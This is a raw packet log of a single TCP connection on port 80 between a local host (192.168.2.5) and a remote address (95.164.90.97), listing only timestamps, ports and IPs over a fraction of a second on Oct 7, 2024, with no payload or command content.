Oct 7, 2024 21:18:44.409362078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409373999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409375906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409387112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409388065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409399986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409410954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409413099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409425974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409452915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.409454107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.409490108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410096884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410108089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410118103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410129070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410144091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410145044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410156965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410166025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410168886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410181046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410187006 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410192013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410197973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410200119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410204887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410214901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410224915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410228968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410228968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410235882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410248041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410260916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410262108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.410280943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.410295010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411034107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411045074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411072016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411079884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411088943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411101103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411101103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411112070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411119938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411125898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411135912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411135912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411148071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411158085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411159039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411171913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411176920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411183119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411194086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411200047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411206961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411217928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411223888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411231995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411231995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411245108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411257029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411261082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411268950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411278963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411284924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411290884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411302090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411303043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411310911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411314011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411339998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411362886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411576986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411593914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411603928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411613941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411619902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411626101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411632061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411640882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411652088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411657095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411663055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411674023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411680937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411684990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411696911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411706924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411708117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411719084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411720037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411731005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411741972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411745071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411752939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411762953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411765099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411777020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411777020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411788940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411802053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411804914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411813974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411823988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.411839008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.411859989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412420988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412432909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412442923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412453890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412467003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412470102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412482977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412489891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412493944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412504911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412512064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412516117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412528038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412534952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412539959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412552118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412556887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412563086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412570953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412574053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412585020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412595034 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412595987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412607908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412615061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412621021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412631989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412640095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412643909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412650108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412656069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412667036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.412668943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412693024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.412715912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413204908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413216114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413225889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413238049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413248062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413254976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413259983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413264036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413273096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413284063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413285017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413295984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413305998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.413306952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413319111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.413348913 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491578102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491643906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491647005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491679907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491691113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491734982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491766930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491770029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491786957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491803885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491806030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491839886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491844893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491877079 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491889000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491914034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.491950989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.491961002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492043972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492094994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492127895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492139101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492156982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492163897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492168903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492198944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492234945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492237091 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492261887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492271900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492284060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492311001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492542982 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492577076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492593050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492660046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492695093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492703915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492729902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492763996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492774010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492799044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492803097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492834091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492872000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492880106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492883921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492913008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492921114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492930889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492954969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.492960930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492985964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.492991924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493026018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493248940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493283033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493315935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493318081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493329048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493350029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493350983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493385077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493417978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493429899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493452072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493483067 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493485928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493510962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493520975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493545055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493555069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493556023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493591070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493613958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493627071 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493628025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493638992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493674040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493681908 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493710995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493720055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493778944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493907928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493940115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.493941069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493974924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.493978977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494009018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494009972 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494045973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494055986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494079113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494081020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494116068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494158983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494370937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494410992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494420052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494453907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494492054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494493008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494524956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494556904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494584084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494584084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494590044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494596958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494625092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494632006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494658947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494693041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494698048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494725943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494751930 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494759083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494764090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494796038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494808912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494829893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494836092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494865894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494878054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494900942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494915009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494935989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.494945049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.494981050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495038986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495038986 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495254993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495289087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495301962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495372057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495444059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495476961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495477915 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495512009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495532036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495546103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495554924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495580912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495615959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495628119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495634079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495662928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495697975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495709896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495731115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495738983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495764971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495795965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495811939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495830059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495836020 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495863914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495872974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495903015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495934963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495943069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.495969057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.495989084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496002913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496043921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496295929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496330023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496391058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496426105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496436119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496463060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496471882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496498108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496500969 CEST	49810	80	192.168.2.5	95.164.90.97
